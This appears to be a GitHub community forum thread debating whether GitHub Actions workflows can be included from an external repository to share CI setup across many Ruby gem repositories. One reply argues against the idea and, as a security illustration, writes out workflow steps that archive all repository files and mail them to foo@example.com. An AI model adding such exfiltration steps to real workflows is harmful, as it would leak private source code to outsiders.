External workflow configuration

[camobap]

Is it possible to keep GH Actions workflow configuration externally?

Why?

In some organizations like https://github.com/metanorma or https://github.com/relaton there is a lot of ruby gem which mostly has the same configuration (there are 6-7 unique workflows across ~100 repositories)

And when we need to update CI we need manually update some workflow in all affected repositories.

For now, we automated this step, but I just wondering:

Is there a possibility to use an external workflow file (which outside current repo) or refer somehow external workflow file?

Thanks

UPD1

GitLab CI has such feature https://docs.gitlab.com/ee/ci/yaml/#include

[oldskool]

No, you cannot include remote workflows. And it wouldn’t really make sense. A remote repository should not tell your repository what to do. It does not know anything about your repository and it’s a huge security risk. Let’s say someone would create a workflow like (very oversimplified example):

- name: Grab all the code
  run: tar cf yourfiles.tar ./*

- name: Email code to some malicious user
  run: mail --attach=yourfiles.tar foo@example.com

And poof, suddenly foo@example.com has all your files. And by the time you figure it out, it’s already too late. May not be super problematic for public repos, but for private repositories this a big no-go. You alone should be the one that defines your workflow.

If you have common dependencies, you can of course put them in a shared file for your projects and download/use them in your workflow. Let’s say you put a “gems.txt” file in a organization/dependencies repository with all the gems you need, 1 per line:

gem1
gem2
gem3

Then in your workflow you could simply do:

steps:
  - name: Download gems.txt
    run: wget https://raw.githubusercontent.com/organization/dependencies/master/gems.txt
- name: Install all gems
run: |
while read -r gem; do gem install $gem; done \< gems.txt

And there you go. You have all your “common” gems stored in 1 central place, yet allow each workflow to do it’s own thing.

[rectalogic]

Yes, some form of workflow #include would be great. Right now the only way to share stuff is to write an action, but then that has to run in docker or as script and rewriting a complex workflow as an action can be a lot of work. We have a lot of common workflows that are needed in a bunch of our repos and they all just have to be duplicated and any bugfixes made in every repo.

[rectalogic]

@oldskool wrote:

No, you cannot include remote workflows. And it wouldn’t really make sense. A remote repository should not tell your repository what to do. It does not know anything about your repository and it’s a huge security risk. Let’s say someone would create a workflow like (very oversimplified example):

I could create an action that does what you describe today. actions are stored in remote repos so they are just as much a security risk as what you describe - many actions require you to forward your secrets.GITHUB_TOKEN to them so they can do anything that token has permission to do.  I don’t see why remote workflows don’t “make sense”.

[camobap]

Hi @oldskool, thanks for the response

> No, you cannot include remote workflows. And it wouldn’t really make sense.

I have ~30 ruby gems repositories with absolutely the same workflow, let’s imagine that I need to add one more ruby version to the matrix, I need 30 PR/commits to accomplish this

>  A remote repository should not tell your repository what to do.

Why not if I control this repository (which contains this configuration), anyway only I’m responsible for this

> If you have common dependencies

It’s not about common dependencies, it’s about the whole configuration

> And there you go. You have all your “common” gems stored in 1 central place, yet allow each workflow to do its own thing.

BTW, in this case, you also potentially have security risks, if someone will decide to supply you ‘infected’ gem

[camobap]

Hi @rectalogic , thanks for the response

BTW can actions configure matrix?

[wipe2238]

Oh my, i’d love workflows outside repository. Fork some project, slap own workflow which compiles and uploads artifacts somewhere, and be done with it. Merge upstream/branch, wait, grab .exe, celebrate.

Bonus points if upstream refuses to include any kind of automation or their workflow is broken for any reason (from fork’s perspective) and you keep hearing “works for me”.

[ddcprg]

I’m replying here to avoid opening a new discussion.

I think this could be useful for someone who needs to standardise the build across multiple repos.

I would be useful If git submodules were supported at least. I’ve just tried it but unfortunately didn’t work. Are there any chances of considering feature?

[rochet2]

Similar issue here: Being DRY: centralized workflows

[camobap]

Just in case if someone missed this like me, GitHub actions now support “composite steps” Creating a composite run steps action - GitHub Docs

This will not help you to keep manage the matrix params but will reduce the amount of the code which need to be written